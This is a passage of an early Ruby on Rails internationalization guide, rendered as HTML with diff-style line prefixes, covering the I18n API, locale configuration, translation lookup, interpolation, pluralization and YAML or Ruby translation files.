-<div class="paragraph"><p>As part of this solution, <strong>every static string in the Rails framework</strong>&#8201;&#8212;&#8201;eg. ActiveRecord validation messages, time and date formats&#8201;&#8212;&#8201;<strong>has been internationalized</strong>, so <em>localization</em> of a Rails application means "over-riding" these defaults.</p></div>
-<h3 id="_the_overall_architecture_of_the_library">1.1. The overall architecture of the library</h3>
-<div class="paragraph"><p>Thus, the Ruby I18n gem is split into two parts:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-The public API of the i18n framework&#8201;&#8212;&#8201;a Ruby module with public methods and definitions how the library works
-</p>
-</li>
-<li>
-<p>
-A default backend (which is intentionally named <em>Simple</em> backend) that implements these methods
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section <a href="#_using_different_backends">Using different backends</a> below.</td>
-</tr></table>
-</div>
-<h3 id="_the_public_i18n_api">1.2. The public I18n API</h3>
-<div class="paragraph"><p>The most important methods of the I18n API are:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>translate <span style="font-style: italic"><span style="color: #9A1900"># Lookup text translations</span></span>
-localize <span style="font-style: italic"><span style="color: #9A1900"># Localize Date and Time objects to local formats</span></span></tt></pre></div></div>
-<div class="paragraph"><p>These have the aliases #t and #l so you can use them like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>t <span style="color: #FF0000">'store.title'</span>
-I18n<span style="color: #990000">.</span>l Time<span style="color: #990000">.</span>now</tt></pre></div></div>
-<div class="paragraph"><p>There are also attribute readers and writers for the following attributes:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>load_path <span style="font-style: italic"><span style="color: #9A1900"># Announce your custom translation files</span></span>
-locale <span style="font-style: italic"><span style="color: #9A1900"># Get and set the current locale</span></span>
-default_locale <span style="font-style: italic"><span style="color: #9A1900"># Get and set the default locale</span></span>
-exception_handler <span style="font-style: italic"><span style="color: #9A1900"># Use a different exception_handler</span></span>
-backend <span style="font-style: italic"><span style="color: #9A1900"># Use a different backend</span></span></tt></pre></div></div>
-<div class="paragraph"><p>So, let&#8217;s internationalize a simple Rails application from the ground up in the next chapters!</p></div>
-</div>
-<h2 id="_setup_the_rails_application_for_internationalization">2. Setup the Rails application for internationalization</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>There are just a few, simple steps to get up and running with I18n support for your application.</p></div>
-<h3 id="_configure_the_i18n_module">2.1. Configure the I18n module</h3>
-<div class="paragraph"><p>Following the <em>convention over configuration</em> philosophy, Rails will set-up your application with reasonable defaults. If you need different settings, you can overwrite them easily.</p></div>
-<div class="paragraph"><p>Rails adds all <tt>.rb</tt> and <tt>.yml</tt> files from <tt>config/locales</tt> directory to your <strong>translations load path</strong>, automatically.</p></div>
-<div class="paragraph"><p>See the default <tt>en.yml</tt> locale in this directory, containing a sample pair of translation strings:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>en<span style="color: #990000">:</span>
- hello<span style="color: #990000">:</span> <span style="color: #FF0000">"Hello world"</span></tt></pre></div></div>
-<div class="paragraph"><p>This means, that in the <tt>:en</tt> locale, the key <em>hello</em> will map to <em>Hello world</em> string. Every string inside Rails is internationalized in this way, see for instance ActiveRecord validation messages in the <a href="http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml"><tt>activerecord/lib/active_record/locale/en.yml</tt></a> file or time and date formats in the <a href="http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml"><tt>activesupport/lib/active_support/locale/en.yml</tt></a> file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.</p></div>
-<div class="paragraph"><p>The I18n library will use <strong>English</strong> as a <strong>default locale</strong>, ie. if you don&#8217;t set a different locale, <tt>:en</tt> will be used for looking up translations.</p></div>
-<div class="paragraph"><p>The <strong>translations load path</strong> (<tt>I18n.load_path</tt>) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>The default <tt>environment.rb</tt> files has instruction how to add locales from another directory and how to set different default locale. Just uncomment and edit the specific lines.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># The internationalization framework can be changed</span></span>
-<span style="font-style: italic"><span style="color: #9A1900"># to have another default locale (standard is :en) or more load paths.</span></span>
-<span style="font-style: italic"><span style="color: #9A1900"># All files from config/locales/*.rb,yml are added automatically.</span></span>
-<span style="font-style: italic"><span style="color: #9A1900"># config.i18n.load_path &lt;&lt; Dir[File.join(RAILS_ROOT, 'my', 'locales', '*.{rb,yml}')]</span></span>
-<span style="font-style: italic"><span style="color: #9A1900"># config.i18n.default_locale = :de</span></span></tt></pre></div></div>
-<h3 id="_optional_custom_i18n_configuration_setup">2.2. Optional: custom I18n configuration setup</h3>
-<div class="paragraph"><p>For the sake of completeness, let&#8217;s mention that if you do not want to use the <tt>environment.rb</tt> file for some reason, you can always wire up things manually, too.</p></div>
-<div class="paragraph"><p>To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application - just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an <strong>initializer</strong>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># in config/initializer/locale.rb</span></span>
-
-<span style="font-style: italic"><span style="color: #9A1900"># tell the I18n library where to find your translations</span></span>
-I18n<span style="color: #990000">.</span>load_path <span style="color: #990000">&lt;&lt;</span> Dir<span style="color: #990000">[</span> File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>RAILS_ROOT<span style="color: #990000">,</span> <span style="color: #FF0000">'lib'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'locale'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'*.{rb,yml}'</span><span style="color: #990000">)</span> <span style="color: #990000">]</span>
-
-<span style="font-style: italic"><span style="color: #9A1900"># set default locale to something else then :en</span></span>
-I18n<span style="color: #990000">.</span>default_locale <span style="color: #990000">=</span> <span style="color: #990000">:</span>pt</tt></pre></div></div>
-<h3 id="_setting_and_passing_the_locale">2.3. Setting and passing the locale</h3>
-<div class="paragraph"><p>By default the I18n library will use :en (English) as a I18n.default_locale for looking up translations (if you do not specify a locale for a lookup).</p></div>
-<div class="paragraph"><p>If you want to translate your Rails application to a single language other than English you can set I18n.default_locale to your locale. If you want to change the locale on a per-request basis though you can set it in a before_filter on the ApplicationController like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>before_filter <span style="color: #990000">:</span>set_locale
-<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> set_locale
- <span style="font-style: italic"><span style="color: #9A1900"># if this is nil then I18n.default_locale will be used</span></span>
- I18n<span style="color: #990000">.</span>locale <span style="color: #990000">=</span> params<span style="color: #990000">[:</span>locale<span style="color: #990000">]</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This will already work for URLs where you pass the locale as a query parameter as in example.com?locale=pt (which is what Google also does).</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">For other URL designs, see <a href="http://rails-i18n.org/wiki/pages/how-to-encode-the-current-locale-in-the-url">How to encode the current locale in the URL</a>.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>Now you&#8217;ve initialized I18n support for your application and told it which locale should be used. With that in place you&#8217;re now ready for the really interesting stuff.</p></div>
-</div>
-<h2 id="_internationalize_your_application">3. Internationalize your application</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>The process of "internationalization" usually means to abstract all strings and other locale specific bits out of your application. The process of "localization" means to then provide translations and localized formats for these bits. <a href="#1">[1]</a></p></div>
-<div class="paragraph"><p>So, let&#8217;s internationalize something. You most probably have something like this in one of your applications:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># config/routes.rb</span></span>
-ActionController<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>Routes<span style="color: #990000">.</span>draw <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>map<span style="color: #990000">|</span>
- map<span style="color: #990000">.</span>root <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'home'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'index'</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-style: italic"><span style="color: #9A1900"># app/controllers/home_controller.rb</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> HomeController <span style="color: #990000">&lt;</span> ApplicationController
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
- flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"Hello flash!"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-style: italic"><span style="color: #9A1900"># app/views/home/index.html.erb</span></span>
-<span style="color: #FF0000">&lt;h1&gt;</span>Hello world!<span style="color: #FF0000">&lt;/h1&gt;</span>
-<span style="color: #FF0000">&lt;p&gt;&lt;%= flash[:notice] %&gt;&lt;/p&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p><span class="image">
-<img src="images/i18n/demo_untranslated.png" alt="rails i18n demo untranslated" title="rails i18n demo untranslated" />
-</span></p></div>
-<h3 id="_adding_translations">3.1. Adding Translations</h3>
-<div class="paragraph"><p>Obviously there are two strings that are localized to English. In order to internationalize this code replace these strings with calls to Rails' #t helper with a key that makes sense for the translation:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># app/controllers/home_controller.rb</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> HomeController <span style="color: #990000">&lt;</span> ApplicationController
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
- flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> t<span style="color: #990000">(:</span>hello_flash<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-style: italic"><span style="color: #9A1900"># app/views/home/index.html.erb</span></span>
-<span style="color: #FF0000">&lt;h1&gt;&lt;%=t :hello_world %&gt;&lt;/h1&gt;</span>
-<span style="color: #FF0000">&lt;p&gt;&lt;%= flash[:notice] %&gt;&lt;/p&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>When you now render this view it will show an error message that tells you that the translations for the keys :hello_world and :hello_flash are missing.</p></div>
-<div class="paragraph"><p><span class="image">
-<img src="images/i18n/demo_translation_missing.png" alt="rails i18n demo translation missing" title="rails i18n demo translation missing" />
-</span></p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Rails adds a <tt>t</tt> (<tt>translate</tt>) helper method to your views so that you do not need to spell out <tt>I18n.t</tt> all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a &lt;span class="translation_missing"&gt;.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>So let&#8217;s add the missing translations (i.e. do the "localization" part):</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># config/locale/en.yml</span></span>
-en<span style="color: #990000">:</span>
- hello_world<span style="color: #990000">:</span> Hello World
- hello_flash<span style="color: #990000">:</span> Hello Flash
-
-<span style="font-style: italic"><span style="color: #9A1900"># config/locale/pirate.yml</span></span>
-pirate<span style="color: #990000">:</span>
- hello_world<span style="color: #990000">:</span> Ahoy World
- hello_flash<span style="color: #990000">:</span> Ahoy Flash</tt></pre></div></div>
-<div class="paragraph"><p>There you go. Because you haven&#8217;t changed the default_locale I18n will use English. Your application now shows:</p></div>
-<div class="paragraph"><p><span class="image">
-<img src="images/i18n/demo_translated_english.png" alt="rails i18n demo translated to english" title="rails i18n demo translated to english" />
-</span></p></div>
-<div class="paragraph"><p>And when you change the URL to pass the pirate locale you get:</p></div>
-<div class="paragraph"><p><span class="image">
-<img src="images/i18n/demo_translated_pirate.png" alt="rails i18n demo translated to pirate" title="rails i18n demo translated to pirate" />
-</span></p></div>
-<div class="paragraph"><p>NOTE You need to restart the server when you add new locale files.</p></div>
-<h3 id="_adding_date_time_formats">3.2. Adding Date/Time formats</h3>
-<div class="paragraph"><p>Ok, let&#8217;s add a timestamp to the view so we can demo the date/time localization feature as well. To localize the time format you pass the Time object to I18n.l or (preferably) use Rails' #l helper. You can pick a format by passing the :format option, by default the :default format is used.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># app/views/home/index.html.erb</span></span>
-<span style="color: #FF0000">&lt;h1&gt;&lt;%=t :hello_world %&gt;&lt;/h1&gt;</span>
-<span style="color: #FF0000">&lt;p&gt;&lt;%= flash[:notice] %&gt;</span><span style="color: #990000">&lt;/</span>p
-<span style="color: #FF0000">&lt;p&gt;&lt;%= l Time.now, :format =&gt;</span> <span style="color: #990000">:</span>short <span style="color: #990000">%&gt;</span><span style="color: #FF0000">&lt;/p&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>And in our pirate translations file let&#8217;s add a time format (it&#8217;s already there in Rails' defaults for English):</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># config/locale/pirate.yml</span></span>
-pirate<span style="color: #990000">:</span>
- time<span style="color: #990000">:</span>
- formats<span style="color: #990000">:</span>
- short<span style="color: #990000">:</span> <span style="color: #FF0000">"arrrround %H'ish"</span></tt></pre></div></div>
-<div class="paragraph"><p>So that would give you:</p></div>
-<div class="paragraph"><p><span class="image">
-<img src="images/i18n/demo_localized_pirate.png" alt="rails i18n demo localized time to pirate" title="rails i18n demo localized time to pirate" />
-</span></p></div>
-<div class="paragraph"><p>NOTE Right now you might need to add some more date/time formats in order to make the I18n backend work as expected. See the <a href="http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale">rails-i18n repository</a> for starting points.</p></div>
-</div>
-<h2 id="_overview_of_the_i18n_api_features">4. Overview of the I18n API features</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>The following purposes are covered:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-lookup translations
-</p>
-</li>
-<li>
-<p>
-interpolate data into translations
-</p>
-</li>
-<li>
-<p>
-pluralize translations
-</p>
-</li>
-<li>
-<p>
-localize dates, numbers, currency etc.
-</p>
-</li>
-</ul></div>
-<h3 id="_looking_up_translations">4.1. Looking up translations</h3>
-<h4 id="_basic_lookup_scopes_and_nested_keys">4.1.1. Basic lookup, scopes and nested keys</h4>
-<div class="paragraph"><p>Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>message
-I18n<span style="color: #990000">.</span>t <span style="color: #FF0000">'message'</span></tt></pre></div></div>
-<div class="paragraph"><p>translate also takes a :scope option which can contain one or many additional keys that will be used to specify a “namespace” or scope for a translation key:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>invalid<span style="color: #990000">,</span> <span style="color: #990000">:</span>scope <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>active_record<span style="color: #990000">,</span> <span style="color: #990000">:</span>error_messages<span style="color: #990000">]</span></tt></pre></div></div>
-<div class="paragraph"><p>This looks up the :invalid message in the ActiveRecord error messages.</p></div>
-<div class="paragraph"><p>Additionally, both the key and scopes can be specified as dot separated keys as in:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>translate <span style="color: #990000">:</span><span style="color: #FF0000">"active_record.error_messages.invalid"</span></tt></pre></div></div>
-<div class="paragraph"><p>Thus the following calls are equivalent:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>t <span style="color: #FF0000">'active_record.error_messages.invalid'</span>
-I18n<span style="color: #990000">.</span>t <span style="color: #FF0000">'error_messages.invalid'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>scope <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>active_record
-I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>invalid<span style="color: #990000">,</span> <span style="color: #990000">:</span>scope <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'active_record.error_messages'</span>
-I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>invalid<span style="color: #990000">,</span> <span style="color: #990000">:</span>scope <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>active_record<span style="color: #990000">,</span> <span style="color: #990000">:</span>error_messages<span style="color: #990000">]</span></tt></pre></div></div>
-<h4 id="_defaults">4.1.2. Defaults</h4>
-<div class="paragraph"><p>When a default option is given its value will be returned if the translation is missing:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>missing<span style="color: #990000">,</span> <span style="color: #990000">:</span>default <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Not here'</span>
-<span style="font-style: italic"><span style="color: #9A1900"># =&gt; 'Not here'</span></span></tt></pre></div></div>
-<div class="paragraph"><p>If the default value is a Symbol it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.</p></div>
-<div class="paragraph"><p>E.g. the following first tries to translate the key :missing and then the key :also_missing. As both do not yield a result the string "Not here" will be returned:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>missing<span style="color: #990000">,</span> <span style="color: #990000">:</span>default <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>also_missing<span style="color: #990000">,</span> <span style="color: #FF0000">'Not here'</span><span style="color: #990000">]</span>
-<span style="font-style: italic"><span style="color: #9A1900"># =&gt; 'Not here'</span></span></tt></pre></div></div>
-<h4 id="_bulk_and_namespace_lookup">4.1.3. Bulk and namespace lookup</h4>
-<div class="paragraph"><p>To lookup multiple translations at once an array of keys can be passed:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>t <span style="color: #990000">[:</span>odd<span style="color: #990000">,</span> <span style="color: #990000">:</span>even<span style="color: #990000">],</span> <span style="color: #990000">:</span>scope <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'active_record.error_messages'</span>
-<span style="font-style: italic"><span style="color: #9A1900"># =&gt; ["must be odd", "must be even"]</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Also, a key can translate to a (potentially nested) hash as grouped translations. E.g. one can receive all ActiveRecord error messages as a Hash with:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>t <span style="color: #FF0000">'active_record.error_messages'</span>
-<span style="font-style: italic"><span style="color: #9A1900"># =&gt; { :inclusion =&gt; "is not included in the list", :exclusion =&gt; ... }</span></span></tt></pre></div></div>
-<h3 id="_interpolation">4.2. Interpolation</h3>
-<div class="paragraph"><p>In many cases you want to abstract your translations so that variables can be interpolated into the translation. For this reason the I18n API provides an interpolation feature.</p></div>
-<div class="paragraph"><p>All options besides :default and :scope that are passed to #translate will be interpolated to the translation:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>backend<span style="color: #990000">.</span>store_translations <span style="color: #990000">:</span>en<span style="color: #990000">,</span> <span style="color: #990000">:</span>thanks <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Thanks {{name}}!'</span>
-I18n<span style="color: #990000">.</span>translate <span style="color: #990000">:</span>thanks<span style="color: #990000">,</span> <span style="color: #990000">:</span>name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Jeremy'</span>
-<span style="font-style: italic"><span style="color: #9A1900"># =&gt; 'Thanks Jeremy!'</span></span></tt></pre></div></div>
-<div class="paragraph"><p>If a translation uses :default or :scope as a interpolation variable an I18n::ReservedInterpolationKey exception is raised. If a translation expects an interpolation variable but it has not been passed to #translate an I18n::MissingInterpolationArgument exception is raised.</p></div>
-<h3 id="_pluralization">4.3. Pluralization</h3>
-<div class="paragraph"><p>In English there&#8217;s only a singular and a plural form for a given string, e.g. "1 message" and "2 messages". Other languages (<a href="http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ar">Arabic</a>, <a href="http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ja">Japanese</a>, <a href="http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ru">Russian</a> and many more) have different grammars that have additional or less <a href="http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html">plural forms</a>. Thus, the I18n API provides a flexible pluralization feature.</p></div>
-<div class="paragraph"><p>The :count interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>backend<span style="color: #990000">.</span>store_translations <span style="color: #990000">:</span>en<span style="color: #990000">,</span> <span style="color: #990000">:</span>inbox <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span>
- <span style="color: #990000">:</span>one <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'1 message'</span><span style="color: #990000">,</span>
- <span style="color: #990000">:</span>other <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'{{count}} messages'</span>
-<span style="color: #FF0000">}</span>
-I18n<span style="color: #990000">.</span>translate <span style="color: #990000">:</span>inbox<span style="color: #990000">,</span> <span style="color: #990000">:</span>count <span style="color: #990000">=&gt;</span> <span style="color: #993399">2</span>
-<span style="font-style: italic"><span style="color: #9A1900"># =&gt; '2 messages'</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The algorithm for pluralizations in :en is as simple as:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>entry<span style="color: #990000">[</span>count <span style="color: #990000">==</span> <span style="color: #993399">1</span> <span style="color: #990000">?</span> <span style="color: #993399">0</span> <span style="color: #990000">:</span> <span style="color: #993399">1</span><span style="color: #990000">]</span></tt></pre></div></div>
-<div class="paragraph"><p>I.e. the translation denoted as :one is regarded as singular, the other is used as plural (including the count being zero).</p></div>
-<div class="paragraph"><p>If the lookup for the key does not return an Hash suitable for pluralization an I18n::InvalidPluralizationData exception is raised.</p></div>
-<h3 id="_setting_and_passing_a_locale">4.4. Setting and passing a locale</h3>
-<div class="paragraph"><p>The locale can be either set pseudo-globally to I18n.locale (which uses Thread.current like, e.g., Time.zone) or can be passed as an option to #translate and #localize.</p></div>
-<div class="paragraph"><p>If no locale is passed I18n.locale is used:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>locale <span style="color: #990000">=</span> <span style="color: #990000">:</span>de
-I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>foo
-I18n<span style="color: #990000">.</span>l Time<span style="color: #990000">.</span>now</tt></pre></div></div>
-<div class="paragraph"><p>Explicitely passing a locale:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>foo<span style="color: #990000">,</span> <span style="color: #990000">:</span>locale <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>de
-I18n<span style="color: #990000">.</span>l Time<span style="color: #990000">.</span>now<span style="color: #990000">,</span> <span style="color: #990000">:</span>locale <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>de</tt></pre></div></div>
-<div class="paragraph"><p>I18n.locale defaults to I18n.default_locale which defaults to :en. The default locale can be set like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>default_locale <span style="color: #990000">=</span> <span style="color: #990000">:</span>de</tt></pre></div></div>
-</div>
-<h2 id="_how_to_store_your_custom_translations">5. How to store your custom translations</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>The shipped Simple backend allows you to store translations in both plain Ruby and YAML format. <a href="#2">[2]</a></p></div>
-<div class="paragraph"><p>For example a Ruby Hash providing translations can look like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">{</span>
- <span style="color: #990000">:</span>pt <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span>
- <span style="color: #990000">:</span>foo <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span>
- <span style="color: #990000">:</span>bar <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"baz"</span>
- <span style="color: #FF0000">}</span>
- <span style="color: #FF0000">}</span>
-<span style="color: #FF0000">}</span></tt></pre></div></div>
-<div class="paragraph"><p>The equivalent YAML file would look like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>pt<span style="color: #990000">:</span>
- foo<span style="color: #990000">:</span>
- bar<span style="color: #990000">:</span> baz</tt></pre></div></div>
